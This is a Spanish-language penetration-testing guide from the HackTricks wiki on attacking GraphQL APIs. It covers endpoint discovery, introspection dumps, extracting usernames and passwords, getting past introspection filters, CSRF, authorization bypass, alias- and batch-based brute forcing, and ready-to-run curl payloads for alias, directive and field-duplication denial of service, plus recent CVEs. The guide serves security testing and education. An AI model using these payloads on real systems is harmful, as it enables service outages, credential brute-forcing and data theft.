GraphQL

Reading time: 33 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Introducción

GraphQL se destaca como una alternativa eficiente a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. A diferencia de REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una solicitud única. Esta simplificación beneficia significativamente a los desarrolladores al disminuir la complejidad de sus procesos de obtención de datos.

GraphQL y Seguridad

Con la llegada de nuevas tecnologías, incluido GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que GraphQL no incluye mecanismos de autenticación por defecto. Es responsabilidad de los desarrolladores implementar tales medidas de seguridad. Sin una autenticación adecuada, los endpoints de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo.

Ataques de Fuerza Bruta en Directorios y GraphQL

Para identificar instancias de GraphQL expuestas, se recomienda la inclusión de rutas específicas en ataques de fuerza bruta en directorios. Estas rutas son:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Identificar instancias de GraphQL abiertas permite examinar las consultas soportadas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema soporta. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: GraphQL: A query language for APIs.

Huella Digital

La herramienta graphw00f es capaz de detectar qué motor de GraphQL se utiliza en un servidor y luego imprime información útil para el auditor de seguridad.

Consultas Universales

Para verificar si una URL es un servicio de GraphQL, se puede enviar una consulta universal, query{__typename}. Si la respuesta incluye {"data": {"__typename": "Query"}}, confirma que la URL alberga un endpoint de GraphQL. Este método se basa en el campo __typename de GraphQL, que revela el tipo del objeto consultado.

javascript
query{__typename}

Enumeración Básica

Graphql generalmente soporta GET, POST (x-www-form-urlencoded) y POST(json). Aunque por razones de seguridad se recomienda permitir solo json para prevenir ataques CSRF.

Introspección

Para usar la introspección y descubrir información del esquema, consulta el campo __schema. Este campo está disponible en el tipo raíz de todas las consultas.

bash
query={__schema{types{name,fields{name}}}}

Con esta consulta encontrarás el nombre de todos los tipos que se están utilizando:

bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Con esta consulta, puedes extraer todos los tipos, sus campos y sus argumentos (y el tipo de los argumentos). Esto será muy útil para saber cómo consultar la base de datos.

Errores

Es interesante saber si los errores se van a mostrar ya que contribuirán con información útil.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerar el esquema de la base de datos a través de la introspección

tip

Si la introspección está habilitada pero la consulta anterior no se ejecuta, intenta eliminar las directivas onOperation, onFragment y onField de la estructura de la consulta.

bash
#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Consulta de introspección en línea:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

La última línea de código es una consulta graphql que volcará toda la meta-información del graphql (nombres de objetos, parámetros, tipos...)

Si la introspección está habilitada, puedes usar GraphQL Voyager para ver en una GUI todas las opciones.

Consultando

Ahora que sabemos qué tipo de información se guarda dentro de la base de datos, intentemos extraer algunos valores.

En la introspección puedes encontrar qué objeto puedes consultar directamente (porque no puedes consultar un objeto solo porque existe). En la siguiente imagen puedes ver que el "queryType" se llama "Query" y que uno de los campos del objeto "Query" es "flags", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto de bandera.

Ten en cuenta que el tipo de la consulta "flags" es "Flags", y este objeto se define como se muestra a continuación:

Puedes ver que los objetos "Flags" están compuestos por name y value. Luego puedes obtener todos los nombres y valores de las banderas con la consulta:

javascript
query={flags{name, value}}

Tenga en cuenta que en caso de que el objeto a consultar sea un tipo primitivo como string como en el siguiente ejemplo

Puedes simplemente consultarlo con:

javascript
query = { hiddenFlags }

En otro ejemplo donde había 2 objetos dentro del objeto de tipo "Query": "user" y "users".
Si estos objetos no necesitan ningún argumento para buscar, podría recuperar toda la información de ellos simplemente pidiendo los datos que desea. En este ejemplo de Internet podría extraer los nombres de usuario y contraseñas guardados:

Sin embargo, en este ejemplo, si intentas hacerlo, obtienes este error:

Parece que de alguna manera buscará utilizando el argumento "uid" de tipo Int.
De todos modos, ya lo sabíamos, en la sección de Basic Enumeration se propuso una consulta que nos mostraba toda la información necesaria: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Si lees la imagen proporcionada cuando ejecuto esa consulta, verás que "user" tenía el arg "uid" de tipo Int.

Así que, realizando un ligero uid bruteforce, descubrí que en uid=1 se recuperó un nombre de usuario y una contraseña:
query={user(uid:1){user,password}}

Nota que descubrí que podía pedir los parámetros "user" y "password" porque si intento buscar algo que no existe (query={user(uid:1){noExists}}) obtengo este error:

Y durante la fase de enumeración descubrí que el objeto "dbuser" tenía como campos "user" y "password.

Truco de volcado de cadena de consulta (gracias a @BinaryShadow_)

Si puedes buscar por un tipo de cadena, como: query={theusers(description: ""){username,password}} y buscas una cadena vacía, volcará todos los datos. (Nota que este ejemplo no está relacionado con el ejemplo de los tutoriales, para este ejemplo supón que puedes buscar usando "theusers" por un campo de cadena llamado "description").

Búsqueda

En esta configuración, una base de datos contiene personas y películas. Las personas se identifican por su correo electrónico y nombre; las películas por su nombre y calificación. Las personas pueden ser amigas entre sí y también tener películas, indicando relaciones dentro de la base de datos.

Puedes buscar personas por el nombre y obtener sus correos electrónicos:

javascript
{
searchPerson(name: "John Doe") {
email
}
}

Puedes buscar personas por el nombre y obtener sus películas suscritas:

javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Nota cómo se indica recuperar el name de los subscribedMovies de la persona.

También puedes buscar varios objetos al mismo tiempo. En este caso, se realiza una búsqueda de 2 películas:

javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

O incluso relaciones de varios objetos diferentes utilizando alias:

javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutaciones

Las mutaciones se utilizan para realizar cambios en el lado del servidor.

En la introspección puedes encontrar las mutaciones declaradas. En la siguiente imagen, el "MutationType" se llama "Mutation" y el objeto "Mutation" contiene los nombres de las mutaciones (como "addPerson" en este caso):

En esta configuración, una base de datos contiene personas y películas. Las personas se identifican por su correo electrónico y nombre; las películas por su nombre y calificación. Las personas pueden ser amigas entre sí y también tener películas, indicando relaciones dentro de la base de datos.

Una mutación para crear nuevas películas dentro de la base de datos puede ser como la siguiente (en este ejemplo, la mutación se llama addMovie):

javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Nota cómo tanto los valores como el tipo de datos se indican en la consulta.

Además, la base de datos admite una operación de mutación, llamada addPerson, que permite la creación de personas junto con sus asociaciones a amigos y películas existentes. Es crucial notar que los amigos y las películas deben existir previamente en la base de datos antes de vincularlos a la persona recién creada.

javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Sobrecarga de Directivas

Como se explicó en una de las vulnerabilidades descritas en este informe, una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible realizar un DoS.

Agrupación de fuerza bruta en 1 solicitud API

Esta información fue tomada de https://lab.wallarm.com/graphql-batching-attack/.
Autenticación a través de la API de GraphQL con el envío simultáneo de muchas consultas con diferentes credenciales para verificarlo. Es un ataque clásico de fuerza bruta, pero ahora es posible enviar más de un par de inicio de sesión/contraseña por solicitud HTTP debido a la función de agrupación de GraphQL. Este enfoque engañaría a las aplicaciones externas de monitoreo de tasas haciéndoles pensar que todo está bien y que no hay un bot de fuerza bruta intentando adivinar contraseñas.

A continuación, puedes encontrar la demostración más simple de una solicitud de autenticación de aplicación, con 3 pares de correo electrónico/contraseña diferentes a la vez. Obviamente, es posible enviar miles en una sola solicitud de la misma manera:

Como podemos ver en la captura de pantalla de la respuesta, la primera y la tercera solicitudes devolvieron null y reflejaron la información correspondiente en la sección de error. La segunda mutación tenía los datos de autenticación correctos y la respuesta tiene el token de sesión de autenticación correcto.

GraphQL Sin Introspección

Cada vez más puntos finales de graphql están deshabilitando la introspección. Sin embargo, los errores que graphql lanza cuando se recibe una solicitud inesperada son suficientes para que herramientas como clairvoyance recrean la mayor parte del esquema.

Además, la extensión de Burp Suite GraphQuail observa las solicitudes de API de GraphQL que pasan a través de Burp y construye un esquema interno de GraphQL con cada nueva consulta que ve. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para más información ver esto.

Una buena lista de palabras para descubrir entidades de GraphQL se puede encontrar aquí.

Eludir las defensas de introspección de GraphQL

Para eludir las restricciones en las consultas de introspección en las API, insertar un carácter especial después de la palabra clave __schema resulta efectivo. Este método explota descuidos comunes de los desarrolladores en patrones de regex que intentan bloquear la introspección al centrarse en la palabra clave __schema. Al agregar caracteres como espacios, nuevas líneas y comas, que GraphQL ignora pero que podrían no ser considerados en regex, se pueden eludir las restricciones. Por ejemplo, una consulta de introspección con una nueva línea después de __schema puede eludir tales defensas:

bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Si no tiene éxito, considere métodos de solicitud alternativos, como solicitudes GET o POST con x-www-form-urlencoded, ya que las restricciones pueden aplicarse solo a las solicitudes POST.

Pruebe WebSockets

Como se mencionó en esta charla, verifique si podría ser posible conectarse a graphQL a través de WebSockets, ya que eso podría permitirle eludir un posible WAF y hacer que la comunicación de WebSocket filtre el esquema de graphQL:

javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Descubriendo Estructuras GraphQL Expuestas

Cuando la introspección está deshabilitada, examinar el código fuente del sitio web en busca de consultas precargadas en bibliotecas de JavaScript es una estrategia útil. Estas consultas se pueden encontrar utilizando la pestaña Sources en las herramientas de desarrollo, proporcionando información sobre el esquema de la API y revelando potencialmente consultas sensibles expuestas. Los comandos para buscar dentro de las herramientas de desarrollo son:

javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF en GraphQL

Si no sabes qué es CSRF, lee la siguiente página:

CSRF (Cross Site Request Forgery)

Allí podrás encontrar varios endpoints de GraphQL configurados sin tokens CSRF.

Ten en cuenta que las solicitudes de GraphQL generalmente se envían a través de solicitudes POST utilizando el Content-Type application/json.

javascript
{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Sin embargo, la mayoría de los endpoints de GraphQL también soportan form-urlencoded POST requests:

javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Por lo tanto, dado que las solicitudes CSRF como las anteriores se envían sin solicitudes de preflight, es posible realizar cambios en el GraphQL abusando de un CSRF.

Sin embargo, ten en cuenta que el nuevo valor predeterminado de la cookie del flag samesite de Chrome es Lax. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET.

Ten en cuenta que generalmente es posible enviar la solicitud de consulta también como una solicitud GET y el token CSRF podría no ser validado en una solicitud GET.

Además, abusando de un XS-Search ataque podría ser posible exfiltrar contenido del endpoint de GraphQL abusando de las credenciales del usuario.

Para más información consulta el post original aquí.

Secuestro de WebSocket entre sitios en GraphQL

Similar a las vulnerabilidades CRSF que abusan de GraphQL, también es posible realizar un secuestro de WebSocket entre sitios para abusar de una autenticación con GraphQL con cookies no protegidas y hacer que un usuario realice acciones inesperadas en GraphQL.

Para más información consulta:

WebSocket Attacks

Autorización en GraphQL

Muchas funciones de GraphQL definidas en el endpoint podrían solo verificar la autenticación del solicitante pero no la autorización.

Modificar las variables de entrada de la consulta podría llevar a detalles sensibles de la cuenta filtrados.

La mutación podría incluso llevar a la toma de control de la cuenta al intentar modificar otros datos de la cuenta.

javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass de autorización en GraphQL

Encadenar consultas puede eludir un sistema de autenticación débil.

En el ejemplo a continuación, puedes ver que la operación es "forgotPassword" y que solo debería ejecutar la consulta forgotPassword asociada. Esto se puede eludir añadiendo una consulta al final; en este caso, añadimos "register" y una variable de usuario para que el sistema registre a un nuevo usuario.

Eludir límites de tasa usando alias en GraphQL

En GraphQL, los alias son una característica poderosa que permite la nominación de propiedades explícitamente al hacer una solicitud de API. Esta capacidad es particularmente útil para recuperar múltiples instancias del mismo tipo de objeto dentro de una sola solicitud. Los alias se pueden emplear para superar la limitación que impide que los objetos de GraphQL tengan múltiples propiedades con el mismo nombre.

Para una comprensión detallada de los alias de GraphQL, se recomienda el siguiente recurso: Aliases.

Si bien el propósito principal de los alias es reducir la necesidad de numerosas llamadas a la API, se ha identificado un caso de uso no intencionado donde los alias pueden ser aprovechados para ejecutar ataques de fuerza bruta en un endpoint de GraphQL. Esto es posible porque algunos endpoints están protegidos por limitadores de tasa diseñados para frustrar ataques de fuerza bruta al restringir el número de solicitudes HTTP. Sin embargo, estos limitadores de tasa pueden no tener en cuenta el número de operaciones dentro de cada solicitud. Dado que los alias permiten la inclusión de múltiples consultas en una sola solicitud HTTP, pueden eludir tales medidas de limitación de tasa.

Considera el ejemplo proporcionado a continuación, que ilustra cómo se pueden usar consultas con alias para verificar la validez de los códigos de descuento de la tienda. Este método podría eludir la limitación de tasa, ya que compila varias consultas en una sola solicitud HTTP, lo que potencialmente permite la verificación de numerosos códigos de descuento simultáneamente.

bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS en GraphQL

Sobrecarga de Alias

Sobrecarga de Alias es una vulnerabilidad de GraphQL donde los atacantes sobrecargan una consulta con muchos alias para el mismo campo, lo que provoca que el resolutor de backend ejecute ese campo repetidamente. Esto puede abrumar los recursos del servidor, llevando a una Denegación de Servicio (DoS). Por ejemplo, en la consulta a continuación, el mismo campo (expensiveField) se solicita 1,000 veces utilizando alias, obligando al backend a calcularlo 1,000 veces, potencialmente agotando la CPU o la memoria:

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Para mitigar esto, implemente límites de conteo de alias, análisis de complejidad de consultas o limitación de tasa para prevenir el abuso de recursos.

Agrupación de Consultas Basada en Arreglos

Agrupación de Consultas Basada en Arreglos es una vulnerabilidad donde una API de GraphQL permite agrupar múltiples consultas en una sola solicitud, lo que permite a un atacante enviar un gran número de consultas simultáneamente. Esto puede abrumar el backend al ejecutar todas las consultas agrupadas en paralelo, consumiendo recursos excesivos (CPU, memoria, conexiones a la base de datos) y potencialmente llevando a un Denial of Service (DoS). Si no existe un límite en el número de consultas en un lote, un atacante puede explotar esto para degradar la disponibilidad del servicio.

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

En este ejemplo, 10 consultas diferentes se agrupan en una sola solicitud, obligando al servidor a ejecutar todas simultáneamente. Si se explota con un tamaño de lote más grande o consultas computacionalmente costosas, puede sobrecargar el servidor.

Vulnerabilidad de Sobrecarga de Directivas

Sobrecarga de Directivas ocurre cuando un servidor GraphQL permite consultas con directivas excesivas y duplicadas. Esto puede abrumar el analizador y el ejecutor del servidor, especialmente si el servidor procesa repetidamente la misma lógica de directiva. Sin una validación o límites adecuados, un atacante puede explotar esto creando una consulta con numerosas directivas duplicadas para provocar un alto uso computacional o de memoria, lo que lleva a una Denegación de Servicio (DoS).

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Tenga en cuenta que en el ejemplo anterior @aa es una directiva personalizada que puede no estar declarada. Una directiva común que suele existir es @include:

bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

También puedes enviar una consulta de introspección para descubrir todas las directivas declaradas:

bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

Y luego usa algunos de los personalizados.

Vulnerabilidad de Duplicación de Campos

Duplicación de Campos es una vulnerabilidad donde un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de manera redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, causando una alta carga y potencialmente llevando a un Denial of Service (DoS).

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Vulnerabilidades Recientes (2023-2025)

El ecosistema de GraphQL evoluciona muy rápido; durante los últimos dos años se han divulgado varios problemas críticos en las bibliotecas de servidor más utilizadas. Cuando encuentres un endpoint de GraphQL, vale la pena identificar el motor (ver graphw00f) y verificar la versión en ejecución contra las vulnerabilidades a continuación.

CVE-2024-47614 – async-graphql sobrecarga de directivas DoS (Rust)

  • Afectado: async-graphql < 7.0.10 (Rust)
  • Causa raíz: sin límite en directivas duplicadas (por ejemplo, miles de @include) que se expanden en un número exponencial de nodos de ejecución.
  • Impacto: una sola solicitud HTTP puede agotar CPU/RAM y hacer que el servicio se caiga.
  • Solución/mitigación: actualizar ≥ 7.0.10 o llamar a SchemaBuilder.limit_directives(); alternativamente filtrar solicitudes con una regla WAF como "@include.*@include.*@include".
graphql
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java elusión de profundidad/complejidad ENF

  • Afectados: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • Causa raíz: ExecutableNormalizedFields no fueron considerados por la instrumentación de MaxQueryDepth / MaxQueryComplexity. Los fragmentos recursivos, por lo tanto, eludieron todos los límites.
